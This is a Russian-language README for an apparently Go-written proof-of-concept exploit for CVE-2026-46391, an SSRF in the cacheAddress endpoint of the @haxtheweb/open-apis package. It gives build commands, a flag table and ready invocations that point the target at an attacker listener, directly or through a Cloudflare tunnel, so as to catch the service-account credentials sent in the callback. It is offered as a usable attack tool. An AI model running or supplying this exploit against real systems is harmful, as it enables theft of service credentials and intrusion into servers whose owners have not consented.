
Эксплойт подтверждения концепции для CVE-2026-46391
Доказательство концепции для CVE-2026-46391. Запускает уязвимость SSRF в конечной точке cacheAddress пакета @haxtheweb/open-apis и перехватывает учетные данные сервисного аккаунта, отправленные в обратном вызове.

go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
| Флаг | Описание | По умолчанию |
|---|---|---|
-u, --url | Корневой URL цели (например, http://10.10.0.80:3000) | обязательно |
-l, --listener | Ваш IP/имя хоста или URL туннеля (например, 192.168.1.10, https://uuid.trycloudflare.com) | обязательно |
-p, --port | Локальный порт для прослушивания | 8080 |
-t, --timeout | Время ожидания обратного вызова в секундах | 30 |
-v, --verbose | Выводить заголовки и тело каждого входящего запроса | выкл. |
Напрямую (в одной сети с целью):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Через VPS/туннель Cloudflare и т.д.:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Пользовательский порт и тайм-аут:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60